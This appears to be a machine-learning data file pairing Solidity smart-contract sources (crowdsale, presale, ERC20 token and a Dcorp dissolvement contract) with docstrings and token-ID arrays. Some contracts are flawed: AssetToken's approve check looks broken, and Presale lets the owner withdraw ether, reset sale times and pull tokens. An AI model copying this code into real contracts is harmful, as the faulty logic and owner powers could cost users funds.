Constructor, takes crowdsale opening and closing times. * @param openingTime Crowdsale opening time * @param closingTime Crowdsale closing time */ constructor (uint256 openingTime, uint256 closingTime) public { // EDIT: removed requirement to open in future // solhint-disable-next-line not-rely-on-time // require(openingTime >= block.timestamp, "TimedCrowdsale: opening time is before current time"); // solhint-disable-next-line max-line-length require(closingTime > openingTime, "TimedCrowdsale: opening time is not before closing time"); _openingTime = openingTime; _closingTime = closingTime; } /** * @return the crowdsale opening time. */ function openingTime() public view returns (uint256) { return _openingTime; } /** * @return the crowdsale closing time. */ function closingTime() public view returns (uint256) { return _closingTime; } /** * @return true if the crowdsale is open, false otherwise. */ function isOpen() public view returns (bool) { // solhint-disable-next-line not-rely-on-time return block.timestamp >= _openingTime && block.timestamp <= _closingTime; } /** * @dev Checks whether the period in which the crowdsale is open has already elapsed. * @return Whether crowdsale period has elapsed */ function hasClosed() public view returns (bool) { // solhint-disable-next-line not-rely-on-time return block.timestamp > _closingTime; } /** * @dev Extend parent behavior requiring to be within contributing period. * @param beneficiary Token purchaser * @param weiAmount Amount of wei contributed */ function _preValidatePurchase(address beneficiary, uint256 weiAmount) internal onlyWhileOpen view { super._preValidatePurchase(beneficiary, weiAmount); } /** * @dev Extend crowdsale. * @param newClosingTime Crowdsale closing time */ function _extendTime(uint256 newClosingTime) internal { require(!hasClosed(), "TimedCrowdsale: already closed"); // solhint-disable-next-line max-line-length require(newClosingTime > _closingTime, "TimedCrowdsale: new closing time is before current closing time"); emit TimedCrowdsaleExtended(_closingTime, newClosingTime); _closingTime = newClosingTime; } } // File: https://github.com/OpenZeppelin/openzeppelin-contracts/blob/v2.5.1/contracts/crowdsale/distribution/PostDeliveryCrowdsale.sol pragma solidity ^0.5.0; /** * @title PostDeliveryCrowdsale * @dev Crowdsale that locks tokens from withdrawal until it ends. */ contract PostDeliveryCrowdsale is TimedCrowdsale { using SafeMath for uint256; mapping(address => uint256) private _balances; __unstable__TokenVault private _vault; constructor() public { _vault = new __unstable__TokenVault(); } /** * @dev Withdraw tokens only after crowdsale ends. * @param beneficiary Whose tokens will be withdrawn. */ function withdrawTokens(address beneficiary) public { require(hasClosed(), "PostDeliveryCrowdsale: not closed"); uint256 amount = _balances[beneficiary]; require(amount > 0, "PostDeliveryCrowdsale: beneficiary is not due any tokens"); _balances[beneficiary] = 0; _vault.transfer(token(), beneficiary, amount); } /** * @return the balance of an account. */ function balanceOf(address account) public view returns (uint256) { return _balances[account]; } /** * @dev Overrides parent by storing due balances, and delivering tokens to the vault instead of the end user. This * ensures that the tokens will be available by the time they are withdrawn (which may not be the case if * `_deliverTokens` was called later). * @param beneficiary Token purchaser * @param tokenAmount Amount of tokens purchased */ function _processPurchase(address beneficiary, uint256 tokenAmount) internal { _balances[beneficiary] = _balances[beneficiary].add(tokenAmount); _deliverTokens(address(_vault), tokenAmount); } } /** * @title __unstable__TokenVault * @dev Similar to an Escrow for tokens, this contract allows its primary account to spend its tokens as it sees fit. * This contract is an internal helper for PostDeliveryCrowdsale, and should not be used outside of this context. */ // solhint-disable-next-line contract-name-camelcase contract __unstable__TokenVault is Secondary { function transfer(IERC20 token, address to, uint256 amount) public onlyPrimary { token.transfer(to, amount); } } // File: contracts/CapPurchases.sol pragma solidity ^0.5.0; contract CapPurchases is Crowdsale { uint256 public contributionCap; mapping(address => uint256) private _contributions; constructor(uint256 cap) public { contributionCap = cap; } // override this to add a personal cap function _preValidatePurchase(address beneficiary, uint256 weiAmount) internal view { super._preValidatePurchase(beneficiary, weiAmount); // solhint-disable-next-line max-line-length require(_contributions[beneficiary].add(weiAmount) <= contributionCap, "personal cap exceeded"); } // override this to track contributions function _updatePurchasingState(address beneficiary, uint256 weiAmount) internal { super._updatePurchasingState(beneficiary, weiAmount); _contributions[beneficiary] = _contributions[beneficiary].add(weiAmount); } } // File: contracts/presale.sol pragma solidity ^0.5.0; contract Presale is Crowdsale, TimedCrowdsale, PostDeliveryCrowdsale, Ownable, PausableCrowdsale, CapPurchases { constructor( uint256 rate, // rate, in TKNbits address payable wallet, // wallet to send Ether IERC20 token, // the token uint256 openingTime, // opening time in unix epoch seconds uint256 closingTime // closing time in unix epoch seconds ) public PostDeliveryCrowdsale() TimedCrowdsale(openingTime, closingTime) CapPurchases(100 * 1e18) Crowdsale(rate, wallet, token) { // nice! this Crowdsale will keep all of the tokens until the end of the crowdsale // and then users can `withdrawTokens()` to get the tokens they're owed } function extend(uint256 _closing) public onlyOwner() { _extendTime(_closing); } function updateTimers(uint256 _opening, uint256 _closing) public onlyOwner() { require(_closing > _opening, "closeing time must be greater than closing time"); _openingTime = _opening; _closingTime = _closing; } function openPresale() public onlyOwner() { _openingTime = block.timestamp; } function closePresale() public onlyOwner() { _closingTime = block.timestamp; } function freeTrappedEther(uint256 _withdraw) public onlyOwner() { msg.sender.transfer(_withdraw); } function reclaimUnsoldTokens(uint256 amount) public onlyOwner() { // sold coins are held int the token vault. and cannot be withdrawn token().transfer(msg.sender, amount); } /*********************/ /*** for promotion ***/ /*********************/ mapping(address => uint256) promotion_map; address[] promoter_list; function getPromoterList() external view returns (address[] memory) { address[] memory r = new address[](promoter_list.length); for (uint256 i = 0; i < promoter_list.length; i++) { r[i] = promoter_list[i]; } return r; } function getPromoterCounter(address promoter_address) public view returns(uint256) { return promotion_map[promoter_address]; } function buTokenByRecommendation(address promoter_address) payable public { if (promotion_map[promoter_address] == 0) { // new promoter // add to promoter list promoter_list.push(promoter_address); } // calculate token amount to be created uint256 tokens = _getTokenAmount(msg.value); promotion_map[promoter_address] += tokens; buyTokens(msg.sender); } }
* @title PausableCrowdsale @dev Extension of Crowdsale contract where purchases can be paused and unpaused by the pauser role./
contract PausableCrowdsale is Crowdsale, Pausable { function _preValidatePurchase(address _beneficiary, uint256 _weiAmount) internal view whenNotPaused { return super._preValidatePurchase(_beneficiary, _weiAmount); } }
10,977,061
[ 1, 16507, 16665, 39, 492, 2377, 5349, 225, 10021, 434, 385, 492, 2377, 5349, 6835, 1625, 5405, 343, 3304, 848, 506, 17781, 471, 640, 8774, 3668, 635, 326, 6790, 1355, 2478, 18, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 16351, 21800, 16665, 39, 492, 2377, 5349, 353, 385, 492, 2377, 5349, 16, 21800, 16665, 288, 203, 203, 202, 915, 389, 1484, 4270, 23164, 12, 2867, 389, 70, 4009, 74, 14463, 814, 16, 2254, 5034, 389, 1814, 77, 6275, 13, 2713, 1476, 1347, 1248, 28590, 288, 203, 202, 202, 2463, 2240, 6315, 1484, 4270, 23164, 24899, 70, 4009, 74, 14463, 814, 16, 389, 1814, 77, 6275, 1769, 203, 202, 97, 203, 97, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
pragma solidity ^0.4.13; /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { function mul(uint256 a, uint256 b) internal returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn&#39;t hold return c; } function sub(uint256 a, uint256 b) internal returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) onlyOwner { if (newOwner != address(0)) { owner = newOwner; } } } /** * @title Pausable * @dev Base contract which allows children to implement an emergency stop mechanism. */ contract Pausable is Ownable { event Pause(); event Unpause(); bool public paused = true; /** * @dev modifier to allow actions only when the contract IS NOT paused */ modifier whenNotPaused() { require(!paused); _; } /** * @dev modifier to allow actions only when the contract IS paused */ modifier whenPaused { require(paused); _; } /** * @dev called by the owner to pause, triggers stopped state */ function pause() onlyOwner whenNotPaused returns (bool) { paused = true; Pause(); return true; } /** * @dev called by the owner to unpause, returns to normal state */ function unpause() onlyOwner whenPaused returns (bool) { paused = false; Unpause(); return true; } } /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20Basic { uint256 public totalSupply; function balanceOf(address who) constant returns (uint256); function transfer(address to, uint256 value); event Transfer(address indexed from, address indexed to, uint256 value); } /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) constant returns (uint256); function transferFrom(address from, address to, uint256 value); function approve(address spender, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) { balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) constant returns (uint256 balance) { return balances[_owner]; } } /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amout of tokens to be transfered */ function transferFrom(address _from, address _to, uint256 _value) { var _allowance = allowed[_from][msg.sender]; // Check is not needed because sub(_allowance, _value) will already throw if this condition is not met // if (_value > _allowance) throw; balances[_to] = balances[_to].add(_value); balances[_from] = balances[_from].sub(_value); allowed[_from][msg.sender] = _allowance.sub(_value); Transfer(_from, _to, _value); } /** * @dev Aprove the passed address to spend the specified amount of tokens on behalf of msg.sender. * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) { // To change the approve amount you first have to reduce the addresses` // allowance to zero by calling `approve(_spender, 0)` if it is not // already 0 to mitigate the race condition described here: // https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 require((_value == 0) && (allowed[msg.sender][_spender] == 0)); allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifing the amount of tokens still avaible for the spender. */ function allowance(address _owner, address _spender) constant returns (uint256 remaining) { return allowed[_owner][_spender]; } } /** * @title SimpleToken * @dev Very simple ERC20 Token example, where all tokens are pre-assigned to the creator. * Note they can later distribute these tokens as they wish using `transfer` and other * `StandardToken` functions. */ contract AssetToken is Pausable, StandardToken { using SafeMath for uint256; address public treasurer = 0x0; uint256 public purchasableTokens = 0; string public name = "Asset Token"; string public symbol = "AST"; uint256 public decimals = 18; uint256 public INITIAL_SUPPLY = 1000000000 * 10**18; uint256 public RATE = 200; /** * @dev Contructor that gives msg.sender all of existing tokens. */ function AssetToken() { totalSupply = INITIAL_SUPPLY; balances[msg.sender] = INITIAL_SUPPLY; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) onlyOwner { address oldOwner = owner; super.transferOwnership(newOwner); balances[newOwner] = balances[oldOwner]; balances[oldOwner] = 0; } /** * @dev Allows the current owner to transfer treasurership of the contract to a newTreasurer. * @param newTreasurer The address to transfer treasurership to. */ function transferTreasurership(address newTreasurer) onlyOwner { if (newTreasurer != address(0)) { treasurer = newTreasurer; } } /** * @dev Allows owner to release tokens for purchase * @param amount The number of tokens to release */ function setPurchasable(uint256 amount) onlyOwner { require(amount > 0); require(balances[owner] >= amount); purchasableTokens = amount.mul(10**18); } /** * @dev Allows owner to change the rate Tokens per 1 Ether * @param rate The number of tokens to release */ function setRate(uint256 rate) onlyOwner { RATE = rate; } /** * @dev fallback function */ function () payable { buyTokens(msg.sender); } /** * @dev function that sells available tokens */ function buyTokens(address addr) payable whenNotPaused { require(treasurer != 0x0); // Must have a treasurer // Calculate tokens to sell and check that they are purchasable uint256 weiAmount = msg.value; uint256 tokens = weiAmount.mul(RATE); require(purchasableTokens >= tokens); // Send tokens to buyer purchasableTokens = purchasableTokens.sub(tokens); balances[owner] = balances[owner].sub(tokens); balances[addr] = balances[addr].add(tokens); Transfer(owner, addr, tokens); // Send money to the treasurer treasurer.transfer(msg.value); } }
* @title Pausable @dev Base contract which allows children to implement an emergency stop mechanism./
contract Pausable is Ownable { event Pause(); event Unpause(); bool public paused = true; modifier whenNotPaused() { require(!paused); _; } modifier whenPaused { require(paused); _; } function pause() onlyOwner whenNotPaused returns (bool) { paused = true; Pause(); return true; } function unpause() onlyOwner whenPaused returns (bool) { paused = false; Unpause(); return true; } }
2,096,948
[ 1, 16507, 16665, 225, 3360, 6835, 1492, 5360, 2325, 358, 2348, 392, 801, 24530, 2132, 12860, 18, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 16351, 21800, 16665, 353, 14223, 6914, 288, 203, 225, 871, 31357, 5621, 203, 225, 871, 1351, 19476, 5621, 203, 203, 225, 1426, 1071, 17781, 273, 638, 31, 203, 203, 225, 9606, 1347, 1248, 28590, 1435, 288, 203, 565, 2583, 12, 5, 8774, 3668, 1769, 203, 565, 389, 31, 203, 225, 289, 203, 203, 225, 9606, 1347, 28590, 288, 203, 565, 2583, 12, 8774, 3668, 1769, 203, 565, 389, 31, 203, 225, 289, 203, 203, 225, 445, 11722, 1435, 1338, 5541, 1347, 1248, 28590, 1135, 261, 6430, 13, 288, 203, 565, 17781, 273, 638, 31, 203, 565, 31357, 5621, 203, 565, 327, 638, 31, 203, 225, 289, 203, 203, 225, 445, 640, 19476, 1435, 1338, 5541, 1347, 28590, 1135, 261, 6430, 13, 288, 203, 565, 17781, 273, 629, 31, 203, 565, 1351, 19476, 5621, 203, 565, 327, 638, 31, 203, 225, 289, 203, 97, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
/** *Submitted for verification at Etherscan.io on 2019-08-09 */ pragma solidity ^0.5.8; /** * @title ERC20 compatible token interface * * - Implements ERC 20 Token standard * - Implements short address attack fix * * #created 29/09/2017 * #author Frank Bonnet */ contract IToken { /** * Get the total supply of tokens * * @return The total supply */ function totalSupply() external view returns (uint); /** * Get balance of `_owner` * * @param _owner The address from which the balance will be retrieved * @return The balance */ function balanceOf(address _owner) external view returns (uint); /** * Send `_value` token to `_to` from `msg.sender` * * @param _to The address of the recipient * @param _value The amount of token to be transferred * @return Whether the transfer was successful or not */ function transfer(address _to, uint _value) external returns (bool); /** * Send `_value` token to `_to` from `_from` on the condition it is approved by `_from` * * @param _from The address of the sender * @param _to The address of the recipient * @param _value The amount of token to be transferred * @return Whether the transfer was successful or not */ function transferFrom(address _from, address _to, uint _value) external returns (bool); /** * `msg.sender` approves `_spender` to spend `_value` tokens * * @param _spender The address of the account able to transfer the tokens * @param _value The amount of tokens to be approved for transfer * @return Whether the approval was successful or not */ function approve(address _spender, uint _value) external returns (bool); /** * Get the amount of remaining tokens that `_spender` is allowed to spend from `_owner` * * @param _owner The address of the account owning tokens * @param _spender The address of the account able to transfer the tokens * @return Amount of remaining tokens allowed to spent */ function allowance(address _owner, address _spender) external view returns (uint); } /** * @title ManagedToken interface * * Adds the following functionality to the basic ERC20 token * - Locking * - Issuing * - Burning * * #created 29/09/2017 * #author Frank Bonnet */ contract IManagedToken is IToken { /** * Returns true if the token is locked * * @return Whether the token is locked */ function isLocked() external view returns (bool); /** * Locks the token so that the transfering of value is disabled * * @return Whether the unlocking was successful or not */ function lock() external returns (bool); /** * Unlocks the token so that the transfering of value is enabled * * @return Whether the unlocking was successful or not */ function unlock() external returns (bool); /** * Issues `_value` new tokens to `_to` * * @param _to The address to which the tokens will be issued * @param _value The amount of new tokens to issue * @return Whether the tokens where sucessfully issued or not */ function issue(address _to, uint _value) external returns (bool); /** * Burns `_value` tokens of `_from` * * @param _from The address that owns the tokens to be burned * @param _value The amount of tokens to be burned * @return Whether the tokens where sucessfully burned or not */ function burn(address _from, uint _value) external returns (bool); } /** * @title Token observer interface * * Allows a token smart-contract to notify observers * when tokens are received * * #created 09/10/2017 * #author Frank Bonnet */ contract ITokenObserver { /** * Called by the observed token smart-contract in order * to notify the token observer when tokens are received * * @param _from The address that the tokens where send from * @param _value The amount of tokens that was received */ function notifyTokensReceived(address _from, uint _value) external; } /** * @title Abstract token observer * * Allows observers to be notified by an observed token smart-contract * when tokens are received * * #created 09/10/2017 * #author Frank Bonnet */ contract TokenObserver is ITokenObserver { /** * Called by the observed token smart-contract in order * to notify the token observer when tokens are received * * @param _from The address that the tokens where send from * @param _value The amount of tokens that was received */ function notifyTokensReceived(address _from, uint _value) public { onTokensReceived(msg.sender, _from, _value); } /** * Event handler * * Called by `_token` when a token amount is received * * @param _token The token contract that received the transaction * @param _from The account or contract that send the transaction * @param _value The value of tokens that where received */ function onTokensReceived(address _token, address _from, uint _value) internal; } /** * @title Token retrieve interface * * Allows tokens to be retrieved from a contract * * #created 29/09/2017 * #author Frank Bonnet */ contract ITokenRetriever { /** * Extracts tokens from the contract * * @param _tokenContract The address of ERC20 compatible token */ function retrieveTokens(address _tokenContract) external; } /** * @title Token retrieve * * Allows tokens to be retrieved from a contract * * #created 18/10/2017 * #author Frank Bonnet */ contract TokenRetriever is ITokenRetriever { /** * Extracts tokens from the contract * * @param _tokenContract The address of ERC20 compatible token */ function retrieveTokens(address _tokenContract) public { IToken tokenInstance = IToken(_tokenContract); uint tokenBalance = tokenInstance.balanceOf(address(this)); if (tokenBalance > 0) { tokenInstance.transfer(msg.sender, tokenBalance); } } } /** * @title Observable interface * * Allows observers to register and unregister with the * implementing smart-contract that is observable * * #created 09/10/2017 * #author Frank Bonnet */ contract IObservable { /** * Returns true if `_account` is a registered observer * * @param _account The account to test against * @return Whether the account is a registered observer */ function isObserver(address _account) external view returns (bool); /** * Gets the amount of registered observers * * @return The amount of registered observers */ function getObserverCount() external view returns (uint); /** * Gets the observer at `_index` * * @param _index The index of the observer * @return The observers address */ function getObserverAtIndex(uint _index) external view returns (address); /** * Register `_observer` as an observer * * @param _observer The account to add as an observer */ function registerObserver(address _observer) external; /** * Unregister `_observer` as an observer * * @param _observer The account to remove as an observer */ function unregisterObserver(address _observer) external; } /** * @title Ownership interface * * Perminent ownership * * #created 01/10/2017 * #author Frank Bonnet */ contract IOwnership { /** * Returns true if `_account` is the current owner * * @param _account The address to test against */ function isOwner(address _account) public view returns (bool); /** * Gets the current owner * * @return address The current owner */ function getOwner() public view returns (address); } /** * @title Ownership * * Perminent ownership * * #created 01/10/2017 * #author Frank Bonnet */ contract Ownership is IOwnership { // Owner address internal owner; /** * The publisher is the inital owner */ constructor() public { owner = msg.sender; } /** * Access is restricted to the current owner */ modifier only_owner() { require(msg.sender == owner, "m:only_owner"); _; } /** * Returns true if `_account` is the current owner * * @param _account The address to test against */ function isOwner(address _account) public view returns (bool) { return _account == owner; } /** * Gets the current owner * * @return address The current owner */ function getOwner() public view returns (address) { return owner; } } /** * @title Transferable ownership interface * * Enhances ownership by allowing the current owner to * transfer ownership to a new owner * * #created 01/10/2017 * #author Frank Bonnet */ contract ITransferableOwnership { /** * Transfer ownership to `_newOwner` * * @param _newOwner The address of the account that will become the new owner */ function transferOwnership(address _newOwner) external; } /** * @title Transferable ownership * * Enhances ownership by allowing the current owner to * transfer ownership to a new owner * * #created 01/10/2017 * #author Frank Bonnet */ contract TransferableOwnership is ITransferableOwnership, Ownership { /** * Transfer ownership to `_newOwner` * * @param _newOwner The address of the account that will become the new owner */ function transferOwnership(address _newOwner) public only_owner { owner = _newOwner; } } /** * @title Multi-owned interface * * Interface that allows multiple owners * * #created 09/10/2017 * #author Frank Bonnet */ contract IMultiOwned { /** * Returns true if `_account` is an owner * * @param _account The address to test against */ function isOwner(address _account) public view returns (bool); /** * Returns the amount of owners * * @return The amount of owners */ function getOwnerCount() public view returns (uint); /** * Gets the owner at `_index` * * @param _index The index of the owner * @return The address of the owner found at `_index` */ function getOwnerAt(uint _index) public view returns (address); /** * Adds `_account` as a new owner * * @param _account The account to add as an owner */ function addOwner(address _account) public; /** * Removes `_account` as an owner * * @param _account The account to remove as an owner */ function removeOwner(address _account) public; } /** * @title IAuthenticator * * Authenticator interface * * #created 15/10/2017 * #author Frank Bonnet */ contract IAuthenticator { /** * Authenticate * * Returns whether `_account` is authenticated or not * * @param _account The account to authenticate * @return whether `_account` is successfully authenticated */ function authenticate(address _account) public view returns (bool); } /** * @title Dcorp Dissolvement Proposal * * Serves as a placeholder for the Dcorp funds, allowing the community the ability * to claim their part of the ether. * * This contact is deployed upon receiving the Ether that is currently held by the previous proxy contract. * * #created 18/7/2019 * #author Frank Bonnet */ contract DcorpDissolvementProposal is TokenObserver, TransferableOwnership, TokenRetriever { enum Stages { Deploying, Deployed, Executed } struct Balance { uint drps; uint drpu; uint index; } // State Stages private stage; // Settings uint public constant CLAIMING_DURATION = 60 days; uint public constant WITHDRAW_DURATION = 60 days; uint public constant DISSOLVEMENT_AMOUNT = 948 ether; // +- 150000 euro // Alocated balances mapping (address => Balance) private allocated; address[] private allocatedIndex; // Whitelist IAuthenticator public authenticator; // Tokens IToken public drpsToken; IToken public drpuToken; // Previous proxy address public prevProxy; uint public prevProxyRecordedBalance; // Dissolvement address payable public dissolvementFund; uint public claimTotalWeight; uint public claimTotalEther; uint public claimDeadline; uint public withdrawDeadline; /** * Require that the sender is authentcated */ modifier only_authenticated() { require(authenticator.authenticate(msg.sender), "m:only_authenticated"); _; } /** * Require that the contract is in `_stage` */ modifier only_at_stage(Stages _stage) { require(stage == _stage, "m:only_at_stage"); _; } /** * Require `_token` to be one of the drp tokens * * @param _token The address to test against */ modifier only_accepted_token(address _token) { require(_token == address(drpsToken) || _token == address(drpuToken), "m:only_accepted_token"); _; } /** * Require that `_token` is not one of the drp tokens * * @param _token The address to test against */ modifier not_accepted_token(address _token) { require(_token != address(drpsToken) && _token != address(drpuToken), "m:not_accepted_token"); _; } /** * Require that sender has more than zero tokens */ modifier only_token_holder() { require(allocated[msg.sender].drps > 0 || allocated[msg.sender].drpu > 0, "m:only_token_holder"); _; } /** * Require that the claiming period for the proposal has * not yet ended */ modifier only_during_claiming_period() { require(claimDeadline > 0 && now <= claimDeadline, "m:only_during_claiming_period"); _; } /** * Require that the claiming period for the proposal has ended */ modifier only_after_claiming_period() { require(claimDeadline > 0 && now > claimDeadline, "m:only_after_claiming_period"); _; } /** * Require that the withdraw period for the proposal has * not yet ended */ modifier only_during_withdraw_period() { require(withdrawDeadline > 0 && now <= withdrawDeadline, "m:only_during_withdraw_period"); _; } /** * Require that the withdraw period for the proposal has ended */ modifier only_after_withdraw_period() { require(withdrawDeadline > 0 && now > withdrawDeadline, "m:only_after_withdraw_period"); _; } /** * Construct the proxy * * @param _authenticator Whitelist * @param _drpsToken The new security token * @param _drpuToken The new utility token * @param _prevProxy Proxy accepts and requires ether from the prev proxy * @param _dissolvementFund Ether to be used for the dissolvement of DCORP */ constructor(address _authenticator, address _drpsToken, address _drpuToken, address _prevProxy, address payable _dissolvementFund) public { authenticator = IAuthenticator(_authenticator); drpsToken = IToken(_drpsToken); drpuToken = IToken(_drpuToken); prevProxy = _prevProxy; prevProxyRecordedBalance = _prevProxy.balance; dissolvementFund = _dissolvementFund; stage = Stages.Deploying; } /** * Returns whether the proposal is being deployed * * @return Whether the proposal is in the deploying stage */ function isDeploying() public view returns (bool) { return stage == Stages.Deploying; } /** * Returns whether the proposal is deployed. The proposal is deployed * when it receives Ether from the prev proxy contract * * @return Whether the proposal is deployed */ function isDeployed() public view returns (bool) { return stage == Stages.Deployed; } /** * Returns whether the proposal is executed * * @return Whether the proposal is deployed */ function isExecuted() public view returns (bool) { return stage == Stages.Executed; } /** * Accept eth from the prev proxy while deploying */ function () external payable only_at_stage(Stages.Deploying) { require(msg.sender == address(prevProxy), "f:fallback;e:invalid_sender"); } /** * Deploy the proposal */ function deploy() public only_owner only_at_stage(Stages.Deploying) { require(address(this).balance >= prevProxyRecordedBalance, "f:deploy;e:invalid_balance"); // Mark deployed stage = Stages.Deployed; // Start claiming period claimDeadline = now + CLAIMING_DURATION; // Remove prev proxy as observer IObservable(address(drpsToken)).unregisterObserver(prevProxy); 